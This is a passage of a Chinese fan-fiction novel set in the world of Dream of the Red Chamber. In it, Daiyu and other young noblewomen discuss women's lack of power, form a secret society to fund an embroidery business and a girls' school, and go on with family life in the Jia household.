孙芷道,“为了守诺坚持嫁女无可厚非,只是在女婿五毒俱全、不能改过的时候依旧不让女儿和离,就是狠心了。说到底,他是男的,无法共情女子,也不在乎女儿,罢了。”
若竹肯定道,“肯定不在乎。若在乎,怎会连续四个女儿所托非人,怎么只有一个女儿有好结果。”
素心道,“多少男子看不起女子,菲薄风尘女子,可大义面前,一风尘女子都羞煞无数男子。”
张阅道,“若有办法,谁愿意流落风尘。要不家里犯了事,要不自小拐卖,要不被父母兄弟卖了,要不生活所迫。”
李思讽刺道,“比起被卖入风尘地,送入道观,都算父母爱惜了。”
楚柠听着只觉那些女子可怜,问道,“那她们的母亲呢,就由着父亲这般对待女儿吗?”
张阅道,“要么她们的母亲是个贤惠夫人,唯夫命是从;要么她们的母亲阻拦了,却无能为力。”
楚楠道,“女子沦落此种境地,不外乎权力在男子手中。”
黛玉喜欢读书,林海也不限制她,林家的藏书她看过许多,道,“女子是掌过权,只是没有一直掌下去,每次女子掌权后,男子对女子的限制都会加大。不止如此,他们加诸在女子身上的还有越来越多的诬名。
太史公赞吕太后‘政不出房户,天下晏然’,在史册上给予吕太后属于帝王的评价。
可后人抓着她把戚姬做成人彘、残害三个赵王的事,说她残暴,抹去她为天下太平所做的所有贡献。
只是,戚姬要儿子当皇帝,鼓动皇帝废太子,吕太后反击,胜利后斩草除根都是朝堂争斗的常态。何况,本就是你死我活的事,谁会指望胜者的怜悯,谁会放过失败者?
吕太后也不是开始就将戚姬做成人彘,她只是把她关在永巷舂米;直到戚姬传唱“子为王,母为奴”才触怒了吕后,吕后才开始斩草除根,传赵王进京,最后处死赵王。
男性帝王杀妻杀子杀兄杀弟者数不胜数,以阳谋阴谋毁掉政敌更是政斗的基本操作,狠厉的还会斩草除根,诛九族、诛三族,不就这样来的?如此这般,臣子都称颂其果决、有手段、有谋略、为名主之相,怎么放到女性身上就成暴虐不堪、暴戾狠毒了?”
李思道,“我们平常根本不会学到这些。我们学的是吕后是毒妇,千万不能学,要引以为鉴。”
沈安道,“不知者无罪。可那些知道吕后政绩的男人们摸黑吕后,就
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挺无耻的。”
黛玉讽刺道,“武周女皇后,安乐公主欲为帝,皇帝也支持,可朝臣不愿意、宗室也不愿意,兵谏反对,当朝史书记载安乐公主全副盔甲,执戟战死;改朝换代后,新修史书记载,兵士闯入后,公主在梳妆。”
孙芷讽刺道,“或许对他们来说,女子不能有野心,及时有野心,也不识大体,更重视涂脂抹粉。”
陆沅冷笑,“也不怕门缝把人看扁了。有祸事就是女子惑主,有好事自然是男子贤明。”
楚楠道,“所以我们必须做些什么。早先长公主摄政,女子外出游乐都方便,现在我们也只能跟着母亲出来饮宴了,哪有过姐妹结伴出游的日子。”
沈安道,“听起母亲说早先日子,每每都觉得羡慕。如今,若我们能自己奋斗出那样光景,才好呢。”
楚楠道,“女子的困境在于没有权力,我们受制于父权、夫权,只能讨好男子。无数女子少时存不平之心,不忿父母重男轻女、压榨自己;可自己成为父母后,却不自觉的重复父母的老路。”
李思道,“好些女子对女儿才狠呢,有的女子对男子格外包容,对女子重拳出击,狠起来比男子也不遑多让。”
张阅虽未见过宅斗,却知道自家的起落,宅斗与政斗性质相类,便道,“立场不同,为了自己的身家性命争斗无可厚非。如果可以,谁不愿意干干净净的活着。可若偏爱男子,认为错的女子,那就是脑子有问题,谁也救不了她。”
楚楠道,“是啊,自救者救。这种女子一般都出于重男轻女的家庭,她从小到大都生活在男子都对、女子卑弱的环境中,所以将之奉为至理。”
李思道,“这种思想怕是我们的拦路虎。”
黛玉道,“那就让这种思想别再荼毒后来者。”
楚楠道,“女子沦落至此,最重要的原因不外乎没有权力,没有长久的掌握权力,即使短暂的改变,也只会被打压的更厉害,最后只能任人拿捏。”
张阅道,“是啊,若能长久把权力的握在手里,女子的生活自会发生改变。即使被女子卑弱的思想荼毒,看到别的女子过得更好,也会穷极思变。若还不改,那只能罢了。”
楚楠道,“可惜我们拿不到权力。如果像吕后、武皇那般自上掌握权力,只要掌握权力的女子失去权力,一切都会变回原样。若想长久保持,必须是女性群体掌握权力,而非来自一人。”
黛玉道,“现在考虑这些还有点早,权力的获得不是一朝一夕。更何况我等身为女子。”
卫若竹接着道,“现在最根本的问题是大多数女子并不觉得现在的生活有问题。姐妹们家里都有女佣,或多或少可能都遇到过被夫家磋磨的女子。可这些人大多都只觉得自己遇人不淑,有的干脆觉得是自己错了才被欺负,最后有的选择隐忍,有的逃离,有的实在撑不下去才求主子帮忙,连主动反抗的都很少。”
李思道,“女佣们起码都有月钱,比起只能靠夫家的女子们,她们都算好的。”
楚楠道,“钱是一个人人立足于世的基础。钱不是顶重要的事情,但没有钱寸步难行。而赚钱的主力是男丁,种田的主力是男丁,所以没有出路的女子,只能任人宰割。”
黛玉道,“是啊,这世道给女子的出路太少了。女夫子,有多少人家需要女夫人,整个大楚怕都不过千人;丫鬟,只有大户人家需要,又有多少富人;绣坊需要绣女,可大多数女子只是粗通裁剪,精通绣工的绣女又有多少……给女子的正经出路这般少,难怪有的丫鬟不择手段的当妾、不惜一切的与嫡妻争?不外乎有的女子走投无路去卖身?”
楚楠道,“还有一个,女子从小接受的是相夫教子的教育,她们根本不知道会有其他出路、其他选择。很多女子学习绣艺的出发点,还是为了相夫教子。”
李思道,“这也没错,只是她们忘了自己,甚至遭遇磋磨都觉得是常态。”
黛玉道,“所以在掌握权力为天下女子谋福祉之前,我们要给天下女子谋生的机会,改变天下女子以夫为天、三从四德的想法。”
楚楠问道,“姐妹们可有什么想法?”
卫若竹道,“其他的缓缓而行,最先要做的是为女子提供赚钱的机会,她们能赚钱,在家庭里就不会受磋磨,就会有话语权。”
蒋易边写边说道,“长公主早先办了慈幼院,我母亲常去,所以知道些,很多穷人家生下女婴会直接丢弃或者溺毙,到慈幼院的都是运气好。”
姑娘们都倒吸一口凉气。
蒋易接着道,“所以,为女子提供赚钱机会很重要,女子有了嫁人以外的其他出路,能挣钱后,女婴活下来的机会都会变多。”
张阅道,“可是我们都还靠着月钱生活,又能做什么?家里人能答应吗?”
沈安道,“我想,母亲哪怕不会帮我们,也不会阻止我们。”
黛玉道,“我娘亲的嫁妆里有个绣庄,我们可以从绣品做起。”
张阅道,“这个注意好,姐妹们一身才艺,大家集思广益,绘出好有特色的绣样,把绣庄名气打出去,再培养绣娘,把绣庄开向各地,等绣庄赚钱后,我们就可以打造其他适合女子工作的产业,开办女学,改变小一辈女孩的想法。”
楚楠道,“阅妹妹和我想到了一处,姐妹们觉得如何。”
张阅道,“早先在姑苏的时候林家办了女学,我大伯母有意在家里办女学,姐妹们不妨去学学。”
众人称赞,约定以后一起上学。
素心道,“我虽帮不到别的,但在姑苏的时候也学到一手好绣艺,和咱们京城的不同,到时候出一份力。”
孙芷、陆沅、张阅、楚柠都表示可以提供绣样,蒋易、沈安、卫若竹、李思承诺出份子钱,都表示有需要在所不辞。
楚楠道,“今天时候不早了,细则我们改天再议。”
黛玉道,“今儿个我们也算走出第一步,不妨我们结个社,以后可以邀请有意的姐妹进入。”
众人思考,提了几个,都不太满意,黛玉想起“群芳髓”,便道道,“为女子而设,叫群芳会如何?”
众人称妙。
楚楠道,“那就叫群芳会。既然有了会名,我们也算个组织,该立个规矩。第一个,未经其他人同意,不能随意告诉他人。”
黛玉道,“以帮助女子为会纲,那就不能欺凌女子。”
……
李思道,“会名、规矩已定,我们还该选个领头的。”
楚楠道,“我来吧。以后一旦被发现,我也可保住妹妹们。”
黛玉道,“姐姐当领头的我们没意见,只是到时候姐妹们自然愿意有难同当。”
楚楠道,“可千万别这么想。到时候要尽力留存能保留的力量,以待来日。”
李思道,“既然这样,我们十一个算是元老,可以吸收需要帮助的女子入会,但要保密身份。”
姑娘们达成一致,若竹将蒋易写的记录收起来藏好,带着姑娘们回到牡丹园游玩。
14. 第十四夜
夫人们说的正热闹,丫鬟进来向穆郡主道,“夫人,大爷回来了,在外面候着。”
卫若兰前几日去郊外办事,几日未见儿子的穆郡主万分牵挂,“快让我儿进来。”
丫鬟出去传话,一男子低眉走入。
众人看去,少年头戴剑眉星目、眼若朗星,头戴玉冠,一袭云纹锦衣,仅袖口绣着些许兰草,脚踏一双黑色云锦长靴,腰间系一枚玉佩,不似公府贵子,反似世外人。
卫若兰走到穆郡主跟前,深作一揖,“儿子见过母亲。”又对各位夫人行礼,“若兰给姨母们请安。”
穆郡主看向孔词道,“这是你孔姨母,早先和张叔父在扬州,才刚回京。”
卫若兰又施一揖,“若兰见过孔姨母。”
丫鬟递上准备的表礼,是一支玉笔。
卫若兰推辞,穆郡主也道太贵重了。
孔词道,“这不是好些年没见若兰了,给补的。”
卫若兰谢过。
王熙凤笑道,“那日去林府,见令公子踏马而过,还道离京久了,出了个神仙似的少年都不知道哪家的,却原来是您家的。”
孔词道,“还是年轻人会说话,我们想说,都不知道怎么说。今儿个你这女儿、儿子把别的比的都罢了。”
杨苼道,“以后可不能说你家牡丹最出名了。”
孔词道,“是呢,都被孩子比下去了。前个儿我家孩子还说崇拜上马能战、下马能谋的昭宁长公主,我还说改日见了他们的后人,可别被比下去。这不,果真被比下去了。”
穆郡主笑着谦虚,“哪里,你家姑娘们各顶个的出色,我家若竹也就占了大几岁的便宜。”
说笑间,众姑娘进来,看见有一男子在内,赶忙退出。
穆郡主连忙传话,“无妨,让姑娘们进来。”
姑娘们听了穆郡主的话,进来向各位夫人问安后,走向母亲身边,黛玉、素心走到王熙凤旁边。
姑娘们问安时,孔词身边的丫鬟连忙卫若竹奉上表礼,是一套粉珍珠打的头面。
若竹推辞,孔词道,“赶紧收着,许多年没见,都成大姑娘了,这是姨母补给你的。”
若竹看向穆郡主,穆郡主同意才谢过收下。
孔词又看向其他姑娘,“今个姨母出门也没准备,改日去我家,给你们都有好的。”
众夫人这人忒多礼,又向姑娘们道,“还不谢过你们孔姨。”
姑娘们谢过。
穆郡主指着卫若兰向姑娘们介绍道,“这是你哥哥。以后要遇到了,有事尽管找他帮忙。”
姑娘们齐齐施礼,“见过世兄。”
卫若兰与其他姑娘虽不熟悉,也都自小见过,回礼,“见过各位妹妹。”
穆郡主又指着王熙凤、黛玉、张阅、素心给卫若兰,说“这是你贾家嫂嫂、林家妹妹、张家妹妹、贾家妹妹。”
卫若兰一一行礼,王熙凤送上表礼,张阅、素心、黛玉还礼。
若兰见了黛玉,突生熟悉之感,想着莫不是见过,只出于礼教,不敢多看,赶忙向各位长辈告罪离开。
卫若兰离开后还想着自己的熟悉之感唐突了黛玉,敲敲自己的额头,惩戒自己的失身。
又吩咐随从,把自己带回的礼物送给母亲。
白汀看着卫若兰赶紧避出去,嗔道,“这孩子实在多礼。”
穆郡主见儿子到了婚嫁之龄,还对女孩子这般敬而远之,也很是头疼,深叹一口气,道,“这孩子一贯如此,我都要愁死了。”
夫人们都懂,杨苼道,“你要碰到我家那两风流的,就知道若兰好了。”
两人瞬间想儿子换换性子,别的夫人看了哈哈大笑。
素心想,若宝玉也这般多好。
张阅和卫若竹坐在一起,调侃道,“我看你也不用羡慕我有个神仙妹妹了,你家不也有个神仙哥哥吗?”
卫若竹做惋惜状,“可惜不是妹妹。”
黛玉在旁边也听到了,想自己那日熟悉之情,或许是两人太过相似;见着卫若兰行止有节,想起那日的迁怒,很是惭愧;又想着若是弟弟长大,怕也该是如此,一时又有些许伤感。
丫鬟送来些许玩意,向穆郡主道,“公子身边的竹枝送过来了,说公子带回来的,送给姨妈、妹妹们赏玩。”
穆郡主打开看了看,原来是些竹编、藤编的小玩意,不算名贵,却也有些野趣,道,“分给姑娘玩吧。”
众夫人看了卫若兰进退得体,外出还不忘给母亲、妹妹带礼物,不免有些羡慕。
众人又玩笑了会,杨苼道,“天都快黑了,我们也散了,改日再聚。穆妹妹也就歇着了。”
穆郡主道,“哪里的话,我巴不得你们不回呢,再坐会儿。”
孔词道,“回去还一堆事呢,改日再聚。女学的事姐妹们回去想想,我改日设宴,咱们再聚。”
吴雯、宋疏道,“那我就等妹妹消息了,我家这皮猴子是该有人管了,就交给你了。”
谭清道,“我回去和家里商量一下。”
……
穆郡主对着姑娘们道,“要不要留我家啊,牡丹还要开好些日子呢,你们姐妹们作伴,也玩的好些。”
杨苼道,“算了,今日也没准备,过些日子送来你家玩些日子,让她们松快松快。”
……
卫若竹向姑娘说,“我改日给姐妹们下帖子,姐妹们带上行李,可多住些日子。”
姑娘们很是愿意,有的都已经想着下次过来要干什么了,让卫若竹提前准备着。
在丫鬟的簇拥下,穆郡主、卫若竹把各位夫人、姑娘送到门口,众人寒暄毕,丫鬟们才伺候着各位夫人、姑娘上马车。
门房帮着各家的车夫让马车有序离开,穆郡主、卫若竹站在门口,目送她们离开后,才回府。
时间不早了,王熙凤几人辞了孔词和张阅要送她们回府的想法,“舅母也辛苦一天了,我带着妹妹们回去就行,我保准护好两位妹妹。回去就给您去信。”
黛玉、素心也帮着劝,孔词才松口带着张阅先行离开。
王熙凤也带着黛玉、素心乘着马车离开。
坐在这车上,王熙凤道,“我往日自觉是脂粉堆里的英雄,觉得我家姑娘的顶顶优秀,如今才知自己见识短浅,不过,我家妹妹们也不差什么。”
素心道,“是啊,往日家里不出来交际,在京城的时候来往的都只是亲戚家的孩子。”
黛玉也知道素心他们以前只在自家玩,没人带他们出去,便劝道,“今个儿孔姨带我们认识了各位姐姐妹妹,下次若竹姐姐下了贴子,我们也带着家里的姐妹们,让他们也出来散散心;或者我求求老太太,下帖子让姐妹们来家里玩。”
熙凤知道家里的情况,便道,“你们放心,到时候嫂子给你们周旋。”又坏笑一声说道,“往日总觉得自家的爷们好,宝玉纵在家任性些,但也没有坏心,出去也只有被夸的。如今见了卫家公子,才知有样样俱全的。以后,我就照着给您
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找,找个样样俱全的女婿。”说罢,笑出声来。
黛玉道,“你不是好人。”和素心两人一起扑向熙凤,挠起痒痒,熙凤连连告饶,说“妹妹,快饶了嫂嫂。”
素心说着,“你要再胡沁,我们可就不放过你了。”
两人放开熙凤,熙凤搂着两人说道,“妹妹也别害羞,你们年龄也十二,快十三了,该打算起来了。我们这样的人家,光走礼都得一二年,不早早打算,年龄可就拖大了。”
素心、黛玉脸都红了,慢慢低下头去。
黛玉嗔道,“你还说。”
熙凤道,“妹妹可别害羞。老太太有意你和宝玉,想着自家人你总不会受累。”
黛玉脸刷的白了,“我只想陪着爹爹,我不想。”
熙凤安慰道,“别怕,我只是给你透漏下,你有个准备。”
熙凤看自家孩子也是千般好,可她在江南两年,跟着黛玉读书,长进了许多,不再觉得自家天地老大、皇家老二、自家怎么也得排个老四,不再觉得像王夫人一样觉得宝玉公主、郡主都配得上。
她看着黛玉一日日用功读书,琴棋书画无一不精,看的书怕比宝玉都多,再比比宝玉读书,怎么也说不出宝玉是良配的话;再者,黛玉被姑父姑母捧在手心长大,哪受过那般冒犯,宝玉虽无坏心,黛玉怕也只会避开他;加上宝玉平日“禄蠹”之类的言论,崇拜父亲济世安民的黛玉,怎会看上一概而论、鄙薄功名的宝玉,才早早挑明,让她早做打算。
黛玉后来虽知道宝玉痴心,宝玉平日待姐妹们也算有礼,也不怪他,可也只是普通的兄妹情分,实在难以接受。
黛玉也能懂贾母的一片苦心,为了二表哥,也是为了她,只是她注定辜负。
素心听了很是难以置信,觉得老太太异想天开。
宝玉和黛玉哪哪都不配啊,黛玉熟读四书五经、经史子集,琴棋书画,平日给林姑父、老太太做的绣品也很精美,在她眼里没有一丝缺点,也就嘴巴不饶人了些;宝玉上学三天打鱼、两天晒网,更何况,袭人是老太太给宝玉准备的未来姨娘,可早在两年前宝玉就和和袭人传出风声,现在还不知道怎么样呢?
素心准备晚上和黛玉一起睡,让黛玉离宝玉远点。
一时间,马车里气氛有些凝重,熙凤也没说什么,让她们自己思考。
马车停在荣国府侧门,丫鬟们侯在马车前,熙凤说道,“缓缓,到家了。”
黛玉、素心整理好表情,高兴的下车。
几人在丫鬟的搀扶下下了马车。
熙凤道,“老太太指定等着,我们赶紧去老太太处。”
几人进了荣庆堂,探春、贾琋、宝钗、宝玉陪着老太太玩笑,老太太道,“快进来,今儿个玩的可好?”
熙凤几人问安后入座,熙凤道,“卫国公府的牡丹花宴果真名不虚传,慎亲王妃和两位郡主也都去了,还有蒋家、孙家、沈家几家的夫人和姑娘,我们家姑娘可要被比下去了。”
贾母看着身旁的几个孙女道,“我偏觉得我家姑娘最好。”
几个姑娘害羞的低下头。
宝玉道,“今儿个姐姐怎么不带着我。”
熙凤道,“谁让今没有男客呢,改日邀男客了带着你。”
素心、黛玉也凑上前向贾母讲卫国公府的景色,讲牡丹花、牡丹宴……
贾母听了,便向他们说起牡丹花的由来。
到了晚膳时间,众人陪着贾母用过膳才告退,让贾母早些休息。
15. 第十五夜
夜里,黛玉和素心并排躺在床上,素心道,“这两年日子才好些,又快要嫁人了,想想都觉得害怕。”
黛玉安慰道,“别担心,有大舅舅、表哥、表嫂在呢。”
素心也就一说,倒也不急,主要是急也没用。
素心想,现在好多了,早先父母疏离、兄嫂冷漠,她养在老太太身边。
奶嬷嬷老说母亲是生了她才死的,让她一直以为母亲是因为她才去世的,父兄都怨她,她也不敢去找他们。
哪怕仆人拿捏她,也不敢求助父兄。
原来不是,她身边一直护着她的司琪、绣菊都是父兄安排的,他们一直默默关注她,只是她一直不亲近他们,才远着她。
现在好了,去江南两年涨了见识,学了知识,和父兄解开心结;回京后拿捏她的奶嬷嬷、不忠心的仆人都处理了,有父兄嫂嫂做主,她总能过好。
素心见过贾母、王夫人对宝玉的宠爱、纵容,所以更担心黛玉,“黛玉,你怎么想的?”
黛玉道,“爹娘自幼把当我男孩养,可我知道我和男孩不一样。尽管爹爹从来不说,我也知道,弟弟去后,家里后继无人,爹爹身体也不算好,他担心我无依无靠,才让我来外祖家,和外祖母、舅舅、表姐们培养感情。”
黛玉说道后面几近哽咽,“我娘也是,她也放不下我,坚持了一年,最后一年她过得很痛苦。我也想让他们放心,可我没有办法,因为这样的世道下我只能依附于人、只能嫁人。就算我好好读书,爹爹把家里交给我,我也不一定能守住。”
素心道,“黛玉,你想多了,林姑父好好的,他很快就回京城了,到时候你们就一家团聚了。你给林姑父说说你的想法,他肯定会听你的意见的,指不定他会支持你呢。”
黛玉坚定道,“我想我们能自己掌握自己的人生,而不是只能嫁人,以后如何全凭良心。”
素心也想,可她知道不可能,劝道,“短时间内不可能实现。至少,家里会仔细挑。我听老太太说过,姑母婚前家里安排也见过姑父,他们都同意才成亲的,到我们这里也是一样的,你想想如神仙眷侣的姑父姑母,别怕。”
素心握住黛玉的手腕,给黛玉一点力量。
黛玉听娘亲讲过她和爹爹的事情,娘亲也给讲过成亲以后要注意的事情,她当然期待未来遇到像爹爹一样的人,可谁到知道有多难得。
黛玉见过的大多数夫妻都是相敬如宾,不像夫妻,反而更像合伙人,丈夫在官场打拼,妻子管家、交际、教养子女及庶子女、还有管理姨娘们,实在没什么意思。
黛玉想,其实嫁给谁都一样,她也不追求情真意切,一生一世一双人。别人以诚待之,她也以诚相待;可若没有,她也能过好自己的日子。只是,贾宝玉不会是她的选择。
在父母、老师的耳濡目染下,她一介女子尚且胸怀大志,怎会愿意嫁给一个更愿意当个闺阁女儿的宝玉。
并非宝玉不好,只是志向不同。
素心等了半天,黛玉都没有反应,便说道,“二婶和老太太最宠宝玉,我们回来的那天晚上要不是父亲和二叔在,指定会由着宝玉。老太太觉得你和宝玉一起,宝玉会有姑父的照顾,你不用婆家的磋磨,对你们都好,她不会轻易放弃。”
黛玉听了有些头疼,外祖母虽然有些私心,但也是她的一番拳拳爱护之情,“怎么办啊。”
素心出了一个主意,“要不你写信告诉姑父,平时避着点宝玉,老太太总不会直接给你说。要是她撮合你们,你就当听不懂。”
黛玉也实在没有办法,“就这么办了。”
素心又问,“绣坊的事你打算什么时候干?”
黛玉道,“看卫姐姐、郡主的帖子什么时候来,或者等孔姨设宴,姐妹们见了再详说。”
素心心想也是,在早日出门的期待中进入梦想。
这会夜已深,月亮透过窗户撒进床帐里,伴着两人入眠。
一晃十来天就过去,黛玉每日给贾母请安,和姐妹们玩乐,姐妹们一起时,探春写字、贾琋画画、素心打棋谱、黛玉弹琴……
姐妹们一起品茶玩乐,时而插花调香,时而剪彩斗草,时而结社作诗,时而游园散步,时而烹茶赏莲……好不快哉。
宝钗家中无事的也来和姐妹们一起玩,她端庄美丽、见识广博,她们一起玩的还好,也很尽兴;只是宝钗年龄大些,偏爱说教,又加上薛蟠的事情,黛玉、素心和她不十分亲近。
倒是贾母娘家的侄孙女史湘云十分有趣。
史湘云父亲病弱,还不知道她存在的时候就已离开,父母感情深厚,要不是发现她,也早早父亲去了。
可史湘云出生不久,她的母亲还是随父亲去了。
史湘云的二叔史鼐承袭了家里保龄侯的爵位,照料湘云;她的三叔忠靖侯史鼎、姑祖母荣国府太夫人史母都怜惜她年幼失恃,十分疼爱她。
只是,史家家教严格,诗书礼仪、针篦女红都请了人严格教她,偏史家人多,经济困难,针线活多女眷自己做,史湘云性情又十分疏阔,不喜束缚,更喜欢自由些的贾府。
这次,史家二位谋了外任,准备出京,两家夫人都忙着准备行李,贾母又想湘云,便接过来松散松散。
往日湘云都伴着贾母住,这次来,贾母便让湘云和黛玉一起住,姐妹玩也方便些。
黛玉嘴利,湘云也是不饶人,两人算是棋逢对手,更像欢喜冤家,姐妹间说说闹闹,倒也都不往心里去。
湘云幼时咬字不清,管宝玉叫“爱哥哥”,这么些年叫下来也习惯了。
只是黛玉每每听了打趣,“是只有一个‘宝爱哥哥’,还是有其他‘爱哥哥’呀?”
探春听了也打趣道,“我们湘云当然只有一个‘宝爱哥哥’。”
姐妹们听了哄笑。
湘云也不轻易认输,跺跺脚恨声道,“总有一天,有厉害的林姐夫、贾姐夫收拾你们。”
黛玉调皮道,“反正我现在又没有爱哥哥。”
湘云气的扑过去挠她,“那我现在就来收拾你。”
湘云挠的黛玉哈哈笑,黛玉边笑边喊,“姐妹们,湘云妹妹疯了,快来救我。”
素心几人过去拉开湘云,解救了黛玉。
黛玉向姐妹们施了一礼,笑道,“小女子谢谢姐妹们搭救。”
探春、贾琋摆手道,“小事一桩。”
宝钗道,“林丫头这张嘴呦,可得收收了。”
湘云跟着道,“收收吧,收收吧,不然以后要被收拾的。”
黛玉不服,几人说说笑笑间散了。
日子一日日过着,突然来了一个坏消息,引出一个好消息。
坏消息是王熙凤突然晕倒了,好消息是贾琏和王熙凤终于有孩子了。
听了坏消息,素心、黛玉赶忙快步前往王熙凤他们院子看她。
黛玉、素心进门看到王熙凤躺着床上,脸色还有些白。
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黛玉、素心忙问道,“嫂嫂身体可好?没事吧?你可要好好休息,别累着了。”
王熙凤看着两人这么关心她,十分感动,笑着道,还透着几分平时没有的温柔,“慢着点,小心摔着了。我没事,你们要有侄儿了。”
黛玉、素心愣了一下才反应过来,崩了起来,来着手转了一圈,说着,“太好了,我们要当姑姑了。”
两人兴奋劲缓过才停了下来,看向桌子上放的点心、瓜果、玫瑰露和水,素心端起点心,黛玉用玫瑰露冲了杯水,向王熙凤献起殷勤,“嫂嫂,我亲手冲的玫瑰露水,快喝点。”
“嫂嫂,你最爱吃的桂花糕,吃点,你饿不饿,我让丫鬟传膳。”“嫂嫂,你吃水果不?”
王熙凤应接不暇,又窝心、又好笑,接过水,拿过一片桂花糕,道,“快别忙了,坐着,我才吃了。谢谢妹妹了。”
素心道,“嫂嫂那的话。”
黛玉道,“以往嫂嫂照顾我们,这会该我们照顾嫂嫂了,嫂嫂可千万别劳累,我母亲就是因为过度老了才……”黛玉说着情绪有些难过。
王熙凤看黛玉难过,也直到姑母在黛玉心中的地位,听她如此说,忙道,“好孩子,我听你的。”
素心也道,“要有事情放不下,我们帮你。”
黛玉又道,“以后可要小侄子、小侄女陪我们玩哦。”
王熙凤笑道,“怕不是你们玩小侄子、小侄女吧。”
素心道,“怎么会,我们疼她还来不及呢。”
姑嫂几人玩笑间气氛十分欢乐。
探春、贾琋、宝钗、湘云几人听了消息也赶了过来。
探春进门看到素心、黛玉后,边走边道,“二姐姐,林妹妹,我就说找不到你们,敢情你们早来了。”
又定睛看着王熙凤,问道,“二嫂嫂可好,没有大碍吧?”
王熙凤招手,“没事,快进来。”
素心道,“给你们说个好消息。”
贾琋拉上素心的手道,“二姐姐快说。”
黛玉道,“我们要当姑姑了。”
贾琋连问,“真的吗?真的吗?”
确定后,探春几人听了也很高兴,连连恭喜熙凤。
几人陪着熙凤说了一会儿,贾母、王夫人、邢夫人也来了。
王熙凤看着几位长辈进来,连忙下床来迎,贾母看了,喊道,“凤丫头,快躺下。”
熙凤听了贾母的话,又躺了回去。
贾母道,“孩子重要,你现在可不能劳累,要好好休息。你们年轻人什么都不懂,琏儿的乳母赵嬷嬷早先是你婆婆身边服侍过的,又经验,赶明让她进来伺候。”
贾母说毕,邢夫人、王夫人一一叮嘱过,说让熙凤好好休息,便带着姑娘们离开了。
孔词听了消息,想着王熙凤的父母不再京城,离得远,干脆自己准备了东西、带着伺候的丫鬟赶去贾府探望。
张阅和素心、黛玉、探春、湘云、贾琋玩了一日,又说了女学的筹建进度,几人十分开心,都想去女学读书。
孔词对王熙凤殷殷叮嘱,快天黑母女才离开贾府。
五月十五,卫若竹来帖子邀请黛玉、素心去府里赏花,再到庄子上去玩,素心忙着帮熙凤管事,黛玉帮着素心,又准备给孩子绣衣服,准备礼物,便写信解释了原因,辞了卫若竹,约定开学见。
卫若竹后来来信说了他们聚会的逸事,黛玉、素心十分遗憾,暗自期待起女学开学。
16. 第十六夜
六月初五,张家女学开学。
大清早,贾琏就护送着黛玉、素心、贾琋前往学堂。
姐妹几个人清一色的碧袄蓝裙,绣着几支青竹,梳着简单的垂鬟分肖髻,簪了几支珠花。
衣服是黛玉想着姐妹们像学子一样,穿一样的衣服上学,画了后给白夫人看了。
白夫人也觉得黛玉想法好,又改了改,把图样各给了学生家里一份,让她们自己做了穿。
黛玉、素心、贾琋坐在求学的马车满心欢喜,互相勉励,谈起探春,十分遗憾、难免遗憾。
她们都知道探春的志气,知道探春想去学习、走出家门,奈何贾政、王夫人不同意,贾母也不很赞同。
黛玉、素心、贾琋只能承诺学到知识回来教探春他们。
宝钗一贯认为读书不是女子本分,针篦女红更重要,她们便没有讨嫌邀请她。
湘云大概是在家里学习的心理阴影,一听上学连连摇头,只想埋进贾府的安乐窝,好好潇洒潇洒,整天和宝玉、宝钗结伴游园,好不潇洒。
贾琏上次拜访张家不久后,就进入国子监读书。
上次回家还是半个月熙凤怀孕时,请假回来了一天。
今日黛玉、素心初次上学,家里长辈不方便,怕宝玉唐突别家女子,今日特地请假回家送妹妹们上学。
荣国府里,探春坐在窗前满心惆怅。
她不由地想,如果她是王夫人的亲女儿,是不是也能坐上求学的马车?她并不比姐妹们差什么,甚至她比她们更刚强、更优秀,唯独差了出身。
原来,她再孝顺母亲,她也不会为她打算更多。
可她又知道,王家一贯觉得女子无才便是德,不鼓励女子读书,不能全怪王夫人。
侍书陪着她,也为她的姑娘难过起来,但她只能去安慰她,“别难过,二姑娘、林姑娘回来肯定会教你的?您还不用出门呢!”云云。
侍书不懂,探春可知道其中差距,去女学不光是学习,还能认识很多志同道合的朋友,见到很多在宅子里见不到的事情,让她不至于成为井底之蛙;想到此,探春下定决定,要用双倍的功,她不会放弃的。
探春开始拿起《论语》,认真读起来。
探春看的正入神,她生母赵姨娘闯了进来,指着她叫嚷,“把你平日能得,恨不得没有我,当太太是你亲生母亲,不是她肚子里爬出来的,再孝顺有什么用?好不容易有了上学的机会,还不是被拦了?你就再厉害,也只能在这院子里厉害,又有什么用?”
探春听了顿时崩溃,她又何尝不知赵姨娘是她亲娘,她也不是真的白眼狼,她看了姨娘、弟弟的处境,哪能不知道太太的想法。
可这样无可厚非,换她是嫡母,也不会毫无芥蒂。
她是个女孩子,未来都抓在太太手里,只能努力孝敬太太,想着以后有能力再帮弟弟。
如今,听了生母的一番话,情绪顿时崩溃,吼道,“你就是看不得我好,你来干什么,这也值得你来看我笑话?”
说罢,探春趴在书桌上哭起来。
赵姨娘纵然平时不喜欢女儿讨好太太,亲近太太胜过她,看到女儿痛苦,也不免有些心疼。
早年她也是书房伺候的,小家碧玉,说话温温柔柔。
可如今,为了护着儿女,只能尖酸刻薄起来,倒不知道该怎么好好说话了。
赵姨娘也后悔,却不知道怎么安慰女儿,缓了缓才小声说了这次来的目的,“老爷名师教导都没学出什么名堂,你在家自己学能学出什么名堂,等回头去求求二姑娘、林姑娘,让她们去求求大老爷,让大老爷劝劝老爷,指不定有用。”
看探春爬在桌子哭,不知该怎么办,说完就离开了。
探春怎么没想过,祖父走后,他们就成两家人了,如今还一起住着,不过是老太太还在罢了。
老太太也不赞同女孩子外出上学,觉得女孩子认识点字,不当睁眼瞎就好;素心和黛玉都是父亲做主,她父亲不愿意,又有什么办法。请大伯劝父亲,可父亲和大伯关系一般,到时候父亲肯定也会觉得她不听话,不一定能达成目的,却可能激怒父亲,还不如直接认命。
马车不急不缓的停在张府门口,黛玉几人在丫鬟的搀扶下下车。
门外,车来车停,人留车走,嬷嬷们忙引着只剩下往府里走的姑娘们。
素心、黛玉、贾琋下了车就带着雪雁、司琪、入画往府里走,贾琏并小厮跟在后面。
素心、黛玉看见李思走在前面,带着贾琋走上前去,“思思,好巧啊。”
姐妹们虽只有一面之缘,后来书信不断,倒也不生疏。李思道,“黛玉,素心,好巧。没想到我们最早见面,郡主他们该羡慕了。”
素心指着贾琋道,“这是我四妹妹,宁国府的贾琋,叫她琋琋就好。”
又想贾琋道,“工部尚书家的李思,叫思思姐姐。”
贾琋道,“思思姐姐好。”
李思只有哥哥,看了乖巧的贾琋道,“真好,真羡慕你们都有妹妹。”
几个人谈笑间走向学堂。
比起林氏女学园林式的风雅,张氏女学带了京城的端肃。
院门上写着“张氏女学”四个大字,里面是并排的几间方方正正、黛瓦飞檐的房子,墙边种着几杆翠竹。
